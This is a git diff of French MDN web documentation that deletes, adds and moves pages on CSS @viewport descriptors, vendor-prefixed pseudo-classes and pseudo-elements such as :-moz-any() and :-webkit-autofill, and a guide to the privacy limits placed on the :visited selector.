Pour les agents utilisateurs et/ou les appareils pour lesquels l'orientation est modifiée en orientant l'appareil, l'auteur pourra utiliser ce descripteur afin d'inhiber le changement d'orientation lié à la stimulation physique.

- -

Syntaxe

- -

Valeurs

- -
-
auto
-
L'agent utilisateur déterminera l'orientation du document automatiquement. Généralement, il utilisera l'accéléromètre de l'appareil (si ce dernier en possède un) si le résultat de cette mesure n'est pas modifié par un réglage utilisateur (« bloquer la rotation de l'écran »).
-
portrait
-
Le document devrait être verrouillé en mode portrait.
-
landscape
-
Le document devrait être verrouillé en mode paysage.
-
- -

Syntaxe formelle

- -
{{csssyntax}}
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS3 Device', '#the-lsquoorientationrsquo-descriptor', '"orientation" descriptor')}}{{Spec2('CSS3 Device')}}Définition initiale.
- -

{{cssinfo}}

- -

Compatibilité des navigateurs

- - - -

{{Compat("css.at-rules.viewport.orientation")}}

diff --git a/files/fr/web/css/@viewport/user-zoom/index.html b/files/fr/web/css/@viewport/user-zoom/index.html deleted file mode 100644 index 45f9b90ef5..0000000000 --- a/files/fr/web/css/@viewport/user-zoom/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: user-zoom -slug: Web/CSS/@viewport/user-zoom -tags: - - CSS - - Descripteur - - Reference -translation_of: Web/CSS/@viewport -translation_of_original: Web/CSS/@viewport/user-zoom ---- -
{{CSSRef}}
- -

Le descripteur user-zoom, utilisé dans la règle @ {{cssxref("@viewport")}}, définit si l'utilisateur doit pouvoir modifier le niveau de zoom d'un document dans la zone d'affichage (viewport).

- -
/* Valeurs avec un mot-clé */
-user-zoom: zoom;
-user-zoom: fixed;
-
- -

Syntaxe

- -

Valeurs

- -
-
zoom
-
L'utilisateur peut zoomer/dézoomer.
-
fixed
-
L'utilisateur ne peut ni zoomer ni dézoomer.
-
- -

Syntaxe formelle

- -
{{csssyntax}}
- -

Accessibilité

- -

Supprimer la possibilité de zoomer empêche les personnes ayant une vision faible de lire et de comprendre le contenu de la page.

- - - -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS3 Device', '#the-lsquouser-zoomrsquo-descriptor', '"user-zoom" descriptor')}}{{Spec2('CSS3 Device')}}Définition initiale.
- -

{{cssinfo}}

- -

Compatibilité des navigateurs

- - - -

{{Compat("css.at-rules.viewport.user-zoom")}}

diff --git a/files/fr/web/css/@viewport/viewport-fit/index.html b/files/fr/web/css/@viewport/viewport-fit/index.html deleted file mode 100644 index 5532ed2191..0000000000 --- a/files/fr/web/css/@viewport/viewport-fit/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: viewport-fit -slug: Web/CSS/@viewport/viewport-fit -tags: - - '@viewport' - - CSS - - Descripteur - - Experimental - - Reference -translation_of: Web/CSS/@viewport -translation_of_original: Web/CSS/@viewport/viewport-fit ---- -
{{CSSRef}}{{Draft}}{{SeeCompatTable}}
- -

Le descripteur viewport-fit, associé à la règle @ {{CSSxRef("@viewport")}} contrôle la façon dont la zone d'affichage (viewport) d'un document recouvre l'écran.

- -

Syntaxe

- -
/* Valeurs avec un mot-clé */
-viewport-fit: auto;
-viewport-fit: contain;
-viewport-fit: cover;
-
- -

Valeurs

- -
-
auto
-
Cette valeur n'a aucun impact sur la disposition initiale de la zone d'affichage et l'ensemble de la page web est visible.
-
contain
-
La zone d'affichage est redimensionnée afin de s'inscrire dans le plus grand rectangle qu'il est possible de faire tenir sur l'écran.
-
cover
-
La zone d'affichage est redimensionnée afin de couvrir l'écran de l'appareil. Il est fortement recommandé d'utiliser des variables pour le placement en zone sûre afin de s'assurer qu'aucun contenu important ne se retrouve en dehors de l'écran.
-
- -

Syntaxe formelle

- -
auto | contain | cover
- -

Accessibilité

- -

When using the viewport-fit descriptor, one must keep in mind that not all device displays are rectangular, and should therefore make use of the safe area inset variables.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName("CSS Round Display", "#viewport-fit-descriptor", '"viewport-fit" descriptor')}}{{Spec2("CSS Round Display")}}Définition initiale.
- -

{{cssinfo}}

- -

Compatibilité des navigateurs

- - - -

{{Compat("css.at-rules.viewport.viewport-fit")}}

- -

Voir aussi

- -
    -
  • {{CSSxRef("env", "env()")}}
    • -
diff --git a/files/fr/web/css/@viewport/width/index.html b/files/fr/web/css/@viewport/width/index.html deleted file mode 100644 index 26e657d76a..0000000000 --- a/files/fr/web/css/@viewport/width/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: width -slug: Web/CSS/@viewport/width -tags: - - CSS - - Descripteur - - Reference -translation_of: Web/CSS/@viewport -translation_of_original: Web/CSS/@viewport/width ---- -
{{CSSRef}}
- -

Le descripteur width, rattaché à la règle @ {{cssxref("@viewport")}} est un raccourci permettant de définir les deux descripteurs {{cssxref("@viewport/min-width", "min-width")}} et {{cssxref("@viewport/max-width", "max-width")}}.

- -

Si on fournit une seule valeur, c'est cette valeur qui sera utilisée pour la largeur minimale et maximale de la zone d'affichage (viewport). Si on fournit deux valeurs, la première correspondra à la largeur minimale de la zone d'affichage et la deuxième à la largeur maximale.

- -

Syntaxe

- -
/* Une valeur de longueur        */
-/* Type <length> ou <percentage> */
-width: auto;
-width: 320px;
-width: 15em;
-
-/* Deux valeurs de longueur */
-width: 320px 200px;
-
- -

Valeurs

- -
-
auto
-
La valeur utilisée sera calculée à partir des valeurs des autres descripteurs.
-
<length>
-
Une longueur relative ou absolue qui doit être positive.
-
<percentage>
-
Une valeur exprimée en pourcentages qui est relative à la largeur de la zone d'affichage (viewport) lorsque le niveau de zoom vaut 1. Cette valeur doit être positive.
-
- -

Syntaxe formelle

- -
{{csssyntax}}
-
- -

Exemples

- -
@viewport {
-  width: 500px;
-}
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS3 Device', '#descdef-viewport-width', '"width" descriptor')}}{{Spec2('CSS3 Device')}}Définition initiale.
- -

{{cssinfo}}

- -

Compatibilité des navigateurs

- - - -

{{Compat("css.at-rules.viewport.width")}}

diff --git a/files/fr/web/css/@viewport/zoom/index.html b/files/fr/web/css/@viewport/zoom/index.html deleted file mode 100644 index c995febbea..0000000000 --- a/files/fr/web/css/@viewport/zoom/index.html +++ /dev/null @@ -1,72 +0,0 @@ ---- -title: zoom -slug: Web/CSS/@viewport/zoom -tags: - - CSS - - Descripteur - - Reference -translation_of: Web/CSS/@viewport -translation_of_original: Web/CSS/@viewport/zoom ---- -
{{CSSRef}}
- -

Le descripteur zoom, utilisé au sein de la règle @ {{cssxref("@viewport")}}, permet de définir le niveau de zoom initial d'un document.

- -

Un niveau de zoom égal à 1.0 ou 100% n'appliquera aucun zoom. Les valeurs supérieures zoomeront plus et les valeurs inférieures dézoomeront.

- -

Syntaxe

- -
/* Valeur avec un mot-clé */
-zoom: auto;
-
-/* Valeurs numériques */
-/* Type <number>      */
-zoom: 0.8;
-zoom: 2.0;
-
-/* Valeurs proportionnelles */
-/* Type <percentage>        */
-zoom: 150%;
-
- -

Valeurs

- -
-
auto
-
C'est l'agent utilisateur qui déterminera le niveau de zoom initial. L'agent utilisateur pourra utiliser la taille de la grille de la zone d'affichage afin de déterminer ce niveau.
-
<number>
-
Un nombre positif qui correspond au niveau de zoom appliqué. Pour plus d'informations, voir le type de donnée {{cssxref("<number>")}}.
-
<percentage>
-
Un pourcentage positif qui correspond au niveau de zoom appliqué (100% : aucun zoom ; les valeurs supérieures traduiront un zoom plus importants ; les valeurs inférieures auront un effet de « dézoom »). Pour plus d'informations, voir le type de donnée {{cssxref("<percentage>")}}.
-
- -

Syntaxe formelle

- -
{{csssyntax}}
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS3 Device', '#zoom-desc', '"zoom" descriptor')}}{{Spec2('CSS3 Device')}}Définition initiale.
- -

{{cssinfo}}

- -

Compatibilité des navigateurs

- - - -

{{Compat("css.at-rules.viewport.zoom")}}

diff --git a/files/fr/web/css/_colon_-moz-list-bullet/index.html b/files/fr/web/css/_colon_-moz-list-bullet/index.html new file mode 100644 index 0000000000..f394c8a1c1 --- /dev/null +++ b/files/fr/web/css/_colon_-moz-list-bullet/index.html @@ -0,0 +1,55 @@ +--- +title: '::-moz-list-bullet' +slug: 'Web/CSS/::-moz-list-bullet' +tags: + - CSS + - Non-standard + - Pseudo-element + - Reference +translation_of: 'Web/CSS/:-moz-list-bullet' +--- +
{{Non-standard_header}}{{CSSRef}}
+ +

Le pseudo-élément CSS non-standard ::-moz-list-bullet de Mozilla est utilisé pour appliquer un style aux puces des éléments d'une liste non ordonnée (autrement dit, pour un élément {{htmlelement("li")}}) contenu dans un élément {{htmlelement("ul")}}).

+ +

Syntaxe

+ +
li::-moz-list-bullet { propriétés de style }
+ +

Exemples

+ +

HTML

+ +
<ul>
+  <li>Numéro 1</li>
+  <li>Numéro 2</li>
+  <li>Numéro 3</li>
+</ul>
+
+<ul class="list">
+  <li>Numéro 1</li>
+  <li>Numéro 2</li>
+  <li>Numéro 3</li>
+</ul>
+
+ +

CSS

+ +
.list ::-moz-list-bullet {
+  font-size: 36px;
+}
+ +

Résultat

+ +

{{EmbedLiveSample('Exemples', '', '', '', 'Web/CSS/:-moz-list-bullet')}}

+ +

Spécifications

+ +

Ce pseudo-élément est un pseudo-élément propriétaire lié à Gecko/Mozilla et ne fait partie d'aucune spécification.

+ +

Voir aussi

+ +
    +
  • {{cssxref(":-moz-list-number")}}
    • +
  • {{cssxref("::marker")}}
    • +
diff --git a/files/fr/web/css/_colon_-moz-list-number/index.html b/files/fr/web/css/_colon_-moz-list-number/index.html new file mode 100644 index 0000000000..0f12741d94 --- /dev/null +++ b/files/fr/web/css/_colon_-moz-list-number/index.html @@ -0,0 +1,52 @@ +--- +title: '::-moz-list-number' +slug: 'Web/CSS/::-moz-list-number' +tags: + - CSS + - Non-standard + - Pseudo-element + - Reference +translation_of: 'Web/CSS/:-moz-list-number' +--- +
{{Non-standard_header}}{{CSSRef}}
+ +

Le pseudo-élément CSS ::-moz-list-number permet de personnaliser l'apparence des numéros des éléments de liste ({{HTMLElement("li")}}) au sein des listes numérotées ({{HTMLElement("ol")}}).

+ +

Syntaxe

+ +
li::-moz-list-number { propriétés de style }
+
+ +

Exemples

+ +

CSS

+ +
li::-moz-list-number {
+  font-style: italic;
+  font-weight: bold;
+}
+
+ +

HTML

+ +
<ol>
+  <li>Premier élément</li>
+  <li>Second élément</li>
+  <li>Troisième élément</li>
+</ol>
+
+ +

Résultat

+ +

{{EmbedLiveSample("Exemple")}}

+ +

Spécifications

+ +

Ce pseudo-élément est un pseudo-élément propriétaire lié à Gecko/Mozilla et ne fait partie d'aucune spécification.

+ +

Voir aussi

+ +
    +
  • {{cssxref(":-moz-list-bullet")}}
    • +
  • {{cssxref("::marker")}}
    • +
diff --git a/files/fr/web/css/_colon_-moz-ui-invalid/index.html b/files/fr/web/css/_colon_-moz-ui-invalid/index.html deleted file mode 100644 index 5f29e0f90f..0000000000 --- a/files/fr/web/css/_colon_-moz-ui-invalid/index.html +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: ':-moz-ui-invalid' -slug: 'Web/CSS/:-moz-ui-invalid' -tags: - - CSS - - Non-standard - - Pseudo-classe - - Reference -translation_of: 'Web/CSS/:user-invalid' ---- -
{{Non-standard_header}}{{CSSRef}}
- -

La pseudo-classe :-moz-ui-invalid représente n'importe quel élément de formulaire dont la valeur est invalide selon ses contraintes de validation.

- -

Cette pseudo-classe est appliquée d'après les règles suivantes :

- -
    -
  • Si le contrôle n'a pas le focus et que cette valeur est invalide, la pseudo-classe est appliquée.
    • -
  • Si le contrôle a le focus et que la valeur était valide (même si elle était vide) lorsque le focus a été obtenu, la pseudo-classe n'est pas appliquée.
    • -
  • Si le contrôle a le focus et que la valeur était invalide lorsque le focus a été obtenu, on revalide le contenu à chaque frappe.
    • -
  • Si l'élément est obligatoire, les règles précédentes ne s'appliquent que si l'utilisateur a modifié la valeur ou tenté de soumettre le formulaire.
    • -
- -

Si le contrôle était valide au moment où l'utilisateur a commencé à l'utiliser, la mise en forme liée à la validité est uniquement modifiée lorsque l'utilisateur interagit avec un autre contrôle. Toutefois, si l'utilisateur tente de corriger une valeur invalide, le contrôle indique immédiatement lorsque celle-ci devient valide. Les éléments obligatoires sont considérés comme invalides uniquement si l'utilisateur les modifie ou essaie de soumettre une valeur invalide non-modifiée.

- -

Par défaut, Gecko applique un style qui crée un halo rouge (grâce à {{cssxref("box-shadow")}}) autour des éléments avec cette pseudo-clésse. Pour un exemple illustrant comment surcharger le style par défaut, on pourra utiliser la pseudo-classe {{cssxref(":invalid")}}.

- -

Syntaxe

- -
{{CSSSyntax}}
- -

Spécifications

- -

Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.

- -

Compatibilité des navigateurs

- - - -

{{Compat("css.selectors.-moz-ui-invalid")}}

- -

Voir aussi

- -
    -
  • {{cssxref(":valid")}}
    • -
  • {{cssxref(":invalid")}}
    • -
  • {{cssxref(":required")}}
    • -
  • {{cssxref(":optional")}}
    • -
  • {{cssxref(":-moz-ui-valid")}}
    • -
diff --git a/files/fr/web/css/_colon_-ms-input-placeholder/index.html b/files/fr/web/css/_colon_-ms-input-placeholder/index.html deleted file mode 100644 index 8b1111134c..0000000000 --- a/files/fr/web/css/_colon_-ms-input-placeholder/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: ':-ms-input-placeholder' -slug: 'Web/CSS/:-ms-input-placeholder' -tags: - - CSS - - Non-standard - - Pseudo-classe - - Référence(2) -translation_of: 'Web/CSS/:placeholder-shown' -translation_of_original: 'Web/CSS/:-ms-input-placeholder' ---- -
{{Non-standard_header}}{{CSSRef}}
- -

La pseudo-classe :-ms-input-placeholder représente le texte de substitution d'un élément de formulaire. Elle permet aux auteurs et aux développeurs web d'adapter l'apparence des textes de substitution. Cette pseudo-classe est propriétaire et est uniquement prise en charge par Internet Explorer et Edge.

- -

Exemples

- -

Dans l'exemple suivant, le champ « Identifiant » a un style particulier. Le texte de substitution est affiché de cette façon jusqu'à ce que le focus passe sur le champ (ce qui correspond à une saisie).

- -

CSS

- -
input {
-  background-color:#E8E8E8;
-  color:black;
-}
-/* Style pour le texte de substitution */
-input.studentid:-ms-input-placeholder {
-  font-style:italic;
-  color: red;
-  background-color: yellow;
-}
- -

HTML

- -
<form id="test">
-  <p><label>Saisir le nom : <input id="nom" placeholder="Nom de l'étudiant"/></label></p>
-  <p><label>Saisir le domaine : <input id="domaine" placeholder="Domaine d'étude" /></label></p>
-  <p><label>Saisir l'identifiant : <input type="num" pattern="[0-9]{8}" title="8 digit ID" id="sid" class="studentid" placeholder="Identifiant à 8 chiffres" /></label></p>
-  <input type="submit" />
-</form>
- -

Résultat

- -

{{EmbedLiveSample("Exemples","300","300")}}

- -

Capture d'écran

- -

- -

Spécifications

- -

Cette pseudo-classe est une pseudo-classe propriétaire liée à Trident/Microsoft et ne fait partie d'aucune spécification. MSDN documente cette pseudo-classe.

- -

Compatibilité des navigateurs

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeFirefox (Gecko)EdgeInternet ExplorerOperaSafari (WebKit)
Support simple{{CompatNo}}{{CompatNo}}{{CompatNo}}10{{CompatNo}}{{CompatNo}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Support simple{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}
-
- -

Voir aussi

- -
    -
  • {{cssxref("::placeholder")}}
    • -
  • {{cssxref("::-webkit-input-placeholder")}}
    • -
  • {{cssxref("::-moz-placeholder")}}
    • -
  • Les formulaires en HTML
    • -
  • {{HTMLElement("input")}}
    • -
  • {{HTMLElement("textarea")}}
    • -
diff --git a/files/fr/web/css/_colon_-webkit-autofill/index.html b/files/fr/web/css/_colon_-webkit-autofill/index.html deleted file mode 100644 index 4d7aadd16e..0000000000 --- a/files/fr/web/css/_colon_-webkit-autofill/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: ':-webkit-autofill' -slug: 'Web/CSS/:-webkit-autofill' -tags: - - CSS - - Non-standard - - Pseudo-classe - - Reference -translation_of: 'Web/CSS/:-webkit-autofill' ---- -
{{CSSRef}}{{Non-standard_header}}
- -

La pseudo-classe :-webkit-autofill correspond à un élément {{HTMLElement("input")}} lorsque sa valeur est remplie automatiquement par le navigateur.

- -

Note : Pour plusieurs navigateurs, les feuilles de style de l'agent utilisateur utilisent !important pour les déclarations avec :-webkit-autofill ce qui les rend difficilement modifiables sans utiliser JavaScript.

- -

Spécifications

- -

Cette pseudo-classe est une pseudo-classe propriétaire liée à WebKit/Blink et ne fait partie d'aucune spécification.

- -

Compatibilité des navigateurs

- - - -

{{Compat("css.selectors.-webkit-autofill")}}

- -

Voir aussi

- - diff --git a/files/fr/web/css/_colon_any/index.html b/files/fr/web/css/_colon_any/index.html deleted file mode 100644 index f3036e1ee9..0000000000 --- a/files/fr/web/css/_colon_any/index.html +++ /dev/null @@ -1,175 +0,0 @@ ---- -title: ':any()' -slug: 'Web/CSS/:any' -tags: - - CSS - - Experimental - - Pseudo-classe - - Reference -translation_of: 'Web/CSS/:is' -translation_of_original: 'Web/CSS/:any' ---- -
{{CSSRef}}{{SeeCompatTable}}
- -

La pseudo-classe :any() vous permet de construire des ensembles de sélecteurs similaires en créant des groupes à partir desquels l'un des éléments sera activé. C'est une méthode alternative qui permet d'éviter de réécrire un sélecteur entier alors que seule une petite partie varie.

- -
/* sélectionne tous les h2 d'une section, d'un article */
-/* d'un aside ou d'un nav */
-/* actuellement pris en charge avec les préfixes */
-/* -moz- et -webkit- */
-:-moz-any(section, article, aside, nav) h2 {
-  font-size: 4.5rem;
-}
-
-:-webkit-any(section, article, aside, nav) h2 {
-  font-size: 4.5rem;
-}
-
- -
Note : Cette pseudo-classe est en voie d'être standardisée dans la spécification CSS Selectors Level 4 sous le nom de :matches(). Il est probable que la syntaxe et le nom de :-préfixe-any() soit amené à changer pour l'adopter dans un avenir proche.
- -

Syntaxe

- -

Syntaxe formelle

- -
{{csssyntax}}
-
- -

Valeurs

- -
-
selector
-
Un sélecteur, simple ou multiple, composé d'un sélecteur CSS simple.
-
- -
Note : Le sélecteur ne peut pas contenir de combinateur ou de pseudo-éléments.
- -

Exemples

- -

Simplifier la sélection de listes

- -

Par exemple, le code CSS suivant :

- -
/*  Les listes non-ordonnes utilisent un carré */
-    dans certains cas */
-ol ol ul,     ol ul ul,     ol menu ul,     ol dir ul,
-ol ol menu,   ol ul menu,   ol menu menu,   ol dir menu,
-ol ol dir,    ol ul dir,    ol menu dir,    ol dir dir,
-ul ol ul,     ul ul ul,     ul menu ul,     ul dir ul,
-ul ol menu,   ul ul menu,   ul menu menu,   ul dir menu,
-ul ol dir,    ul ul dir,    ul menu dir,    ul dir dir,
-menu ol ul,   menu ul ul,   menu menu ul,   menu dir ul,
-menu ol menu, menu ul menu, menu menu menu, menu dir menu,
-menu ol dir,  menu ul dir,  menu menu dir,  menu dir dir,
-dir ol ul,    dir ul ul,    dir menu ul,    dir dir ul,
-dir ol menu,  dir ul menu,  dir menu menu,  dir dir menu,
-dir ol dir,   dir ul dir,   dir menu dir,   dir dir dir {
-  list-style-type: square;
-}
-
- -

Pourra être remplacé par :

- -
/* Les listes non-ordonnes utilisent un carré */
-   dans certains cas */
-:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) ul,
-:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) menu,
-:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) dir {
-  list-style-type: square;
-}
- -

Cependant, on évitera d'utiliser le code suivant (cf. la section sur les performances plus bas) :

- -
:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) :-moz-any(ul, menu, dir) {
-  list-style-type: square;
-}
- -

Simplifier la sélection de section

- -

Ceci est particulièrement utile lorsqu'on manipule des sections et des titres HTML. Les éléments {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}} et {{HTMLElement("nav")}} peuvent être imbriqués, sans :any(), leur appliquer un style peut être beaucoup plus complexe.

- -

Par exemple, sans :any(), appliquer un style à tous les éléments {{HTMLElement("h1")}} situés à différents niveaux peut être vraiment compliqué :

- -
/* Niveau 0 */
-h1 {
-  font-size: 30px;
-}
-/* Niveau 1 */
-section h1, article h1, aside h1, nav h1 {
-  font-size: 25px;
-}
-/* Niveau 2 */
-section section h1, section article h1, section aside h1, section nav h1,
-article section h1, article article h1, article aside h1, article nav h1,
-aside section h1, aside article h1, aside aside h1, aside nav h1,
-nav section h1, nav article h1, nav aside h1, nav nav h1, {
-  font-size: 20px;
-}
-/* Niveau 3 */
-/* ... même pas la peine d'y penser */
-
- -

En utilisant : -any(), cela devient plus simple :

- -
/* Niveau 0 */
-h1 {
-  font-size: 30px;
-}
-/* Niveau 1 */
-:-moz-any(section, article, aside, nav) h1 {
-  font-size: 25px;
-}
-:-webkit-any(section, article, aside, nav) h1 {
-  font-size: 25px;
-}
-
-/* Niveau 2 */
-:-moz-any(section, article, aside, nav)
-:-moz-any(section, article, aside, nav) h1 {
-  font-size: 20px;
-}
-
-:-webkit-any(section, article, aside, nav)
-:-webkit-any(section, article, aside, nav) h1 {
-  font-size: 20px;
-}
-
-/* Niveau 3 */
-:-moz-any(section, article, aside, nav)
-:-moz-any(section, article, aside, nav)
-:-moz-any(section, article, aside, nav) h1 {
-  font-size: 15px;
-}
-
-:-webkit-any(section, article, aside, nav)
-:-webkit-any(section, article, aside, nav)
-:-webkit-any(section, article, aside, nav) h1 {
-  font-size: 15px;
-}
- -

Notes

- -

Problèmes avec les performances et la spécificité

- -

Le bug {{bug("561154")}} illustre un problème où la spécificité de :-moz-any() est incorrecte. L'implémentation actuelle considère :-moz-any() comme une règle universelle. Ainsi, lorsqu'il est utilisé pour le sélecteur le plus à droite d'un expression ce sera plus lent que d'utiliser un identifiant, une classe ou une balise.

- -

Par exemple :

- -
.a > :-moz-any(.b, .c)
-
- -

est moins rapide que :

- -
.a > .b, .a > .c
-
- -

et celui-ci est rapide :

- -
:-moz-any(.a, .d) > .b, :-moz-any(.a, .d) > .c
-
- -

Compatibilité des navigateurs

- - - -

{{Compat("css.selectors.any")}}

diff --git a/files/fr/web/css/_colon_autofill/index.html b/files/fr/web/css/_colon_autofill/index.html new file mode 100644 index 0000000000..4d7aadd16e --- /dev/null +++ b/files/fr/web/css/_colon_autofill/index.html @@ -0,0 +1,33 @@ +--- +title: ':-webkit-autofill' +slug: 'Web/CSS/:-webkit-autofill' +tags: + - CSS + - Non-standard + - Pseudo-classe + - Reference +translation_of: 'Web/CSS/:-webkit-autofill' +--- +
{{CSSRef}}{{Non-standard_header}}
+ +

La pseudo-classe :-webkit-autofill correspond à un élément {{HTMLElement("input")}} lorsque sa valeur est remplie automatiquement par le navigateur.

+ +

Note : Pour plusieurs navigateurs, les feuilles de style de l'agent utilisateur utilisent !important pour les déclarations avec :-webkit-autofill ce qui les rend difficilement modifiables sans utiliser JavaScript.

+ +

Spécifications

+ +

Cette pseudo-classe est une pseudo-classe propriétaire liée à WebKit/Blink et ne fait partie d'aucune spécification.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.selectors.-webkit-autofill")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/_colon_user-invalid/index.html b/files/fr/web/css/_colon_user-invalid/index.html new file mode 100644 index 0000000000..5f29e0f90f --- /dev/null +++ b/files/fr/web/css/_colon_user-invalid/index.html @@ -0,0 +1,50 @@ +--- +title: ':-moz-ui-invalid' +slug: 'Web/CSS/:-moz-ui-invalid' +tags: + - CSS + - Non-standard + - Pseudo-classe + - Reference +translation_of: 'Web/CSS/:user-invalid' +--- +
{{Non-standard_header}}{{CSSRef}}
+ +

La pseudo-classe :-moz-ui-invalid représente n'importe quel élément de formulaire dont la valeur est invalide selon ses contraintes de validation.

+ +

Cette pseudo-classe est appliquée d'après les règles suivantes :

+ +
    +
  • Si le contrôle n'a pas le focus et que cette valeur est invalide, la pseudo-classe est appliquée.
    • +
  • Si le contrôle a le focus et que la valeur était valide (même si elle était vide) lorsque le focus a été obtenu, la pseudo-classe n'est pas appliquée.
    • +
  • Si le contrôle a le focus et que la valeur était invalide lorsque le focus a été obtenu, on revalide le contenu à chaque frappe.
    • +
  • Si l'élément est obligatoire, les règles précédentes ne s'appliquent que si l'utilisateur a modifié la valeur ou tenté de soumettre le formulaire.
    • +
+ +

Si le contrôle était valide au moment où l'utilisateur a commencé à l'utiliser, la mise en forme liée à la validité est uniquement modifiée lorsque l'utilisateur interagit avec un autre contrôle. Toutefois, si l'utilisateur tente de corriger une valeur invalide, le contrôle indique immédiatement lorsque celle-ci devient valide. Les éléments obligatoires sont considérés comme invalides uniquement si l'utilisateur les modifie ou essaie de soumettre une valeur invalide non-modifiée.

+ +

Par défaut, Gecko applique un style qui crée un halo rouge (grâce à {{cssxref("box-shadow")}}) autour des éléments avec cette pseudo-clésse. Pour un exemple illustrant comment surcharger le style par défaut, on pourra utiliser la pseudo-classe {{cssxref(":invalid")}}.

+ +

Syntaxe

+ +
{{CSSSyntax}}
+ +

Spécifications

+ +

Cette pseudo-classe est une pseudo-classe propriétaire liée à Gecko/Mozilla et ne fait partie d'aucune spécification.

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.selectors.-moz-ui-invalid")}}

+ +

Voir aussi

+ +
    +
  • {{cssxref(":valid")}}
    • +
  • {{cssxref(":invalid")}}
    • +
  • {{cssxref(":required")}}
    • +
  • {{cssxref(":optional")}}
    • +
  • {{cssxref(":-moz-ui-valid")}}
    • +
diff --git "a/files/fr/web/css/_colon_visited_et_la_vie_priv\303\251e/index.html" "b/files/fr/web/css/_colon_visited_et_la_vie_priv\303\251e/index.html" deleted file mode 100644 index 5f5a3655e8..0000000000 --- "a/files/fr/web/css/_colon_visited_et_la_vie_priv\303\251e/index.html" +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: 'Le sélecteur :visited et la vie privée' -slug: 'Web/CSS/:visited_et_la_vie_privée' -tags: - - CSS - - Guide - - Sécurité -translation_of: 'Web/CSS/Privacy_and_the_:visited_selector' ---- -
{{CSSRef}}
- -

Par le passé (avant 2010), le sélecteur CSS {{cssxref(":visited")}} permettait aux sites d'effectuer des requêtes sur l'historique de l'utilisateur grâce à la méthode {{domxref("window.getComputedStyle")}} ou à d'autre techniques, parcourant l'historique de l'utilisateur afin de connaître les sites qu'il avait visité. Cela pouvait effectué rapidement et permettait d'obtenir beaucoup d'informations sur l'identité d'un utilisateur.

- -

Afin de palier au problème, Gecko ({{Gecko("2")}}) a été modifié afin de limiter la quantité d'informations qui peut être obtenue au travers des liens visités. Les autres navigateurs ont également été modifiés de façon semblable.

- -

Quelques petits mensonges pour se protéger

- -

La première modification consiste à faire mentir Gecko envers les applications web sous certaines circonstances. 

- -
    -
  • window.getComputedStyle() et les fonctions analogues comme {{domxref("element.querySelector()")}} renverront toujours des valeurs indiquant que l'utilisateur n'a jamais visité aucun des liens présents sur une page.
    • -
  • Si on utilise un sélecteur d'élément voisin comme :visited + span, l'élément {{htmlelement("span")}} sera mis en forme comme si le lien n'avait pas été visité.
    • -
  • Enfin, dans quelques rares scénarios, si on utilise des liens imbriqués et que l'élément ciblé par CSS diffère du lien dont on souhaite savoir s'il a été visité, cet élément sera dessiné comme si le lien n'avait pas été visité.
    • -
- -

Les limites de la mise en forme applicable aux liens visités

- -

On peut toujours mettre en forme les liens visités mais quelques limites s'appliquent désormais. Seule les propriétés suivantes pourront être appliquées aux liens visités :

- -
    -
  • {{cssxref("color")}},
    • -
  • {{cssxref("background-color")}},
    • -
  • {{cssxref("border-color")}} (et les propriétés détaillées associées),
    • -
  • {{cssxref("column-rule-color")}},
    • -
  • {{cssxref("outline-color")}},
    • -
  • Les composantes de couleur liées aux attributs SVG {{SVGAttr("fill")}} et {{SVGAttr("stroke")}}.
    • -
- -

De plus, même pour ces propriétés, il n'est pas possible de modifier la transparence entre les liens qui ont été visités et les autres (comme on pourrait le faire par ailleurs avec rgba() ou hsla() ou avec le mot-clé transparent).

- -

Voici un exemple de mise en forme prenant en compte ces restrictions :

- -
:link {
-  outline: 1px dotted blue;
-  background-color: white;
-  /* La valeur par défaut de background-color est 'transparent'.
-     et il faut donc une valeur différente, sinon les modifications
-     pour :visited ne s'appliqueront pas. */
-}
-
-:visited {
-  outline-color: orange;     /* Les liens visités auront un contour orange */
-  color: yellow;             /* Le texte des liens visités sera en jaune   */
-  background-color: green;   /* L'arrière-plan des liens visités sera vert */
-}
-
- -

Impact sur les développeurs web

- -

De façon générale, cela ne devrait pas impacter les développeurs de façon significative. Il faudra toutefois appliquer les modifications suivantes aux sites :

- -
    -
  • L'utilisation d'images d'arrière-plan pour la mise en forme des liens visités ne fonctionnera plus car seules les couleurs peuvent être utilisées pour les mettre en avant.
    • -
  • Les couleurs qui seraient transparentes de façon normale ne seront pas affichées si elles participent à la mise en forme d'un sélecteur :visited.
    • -
- -

Voir aussi

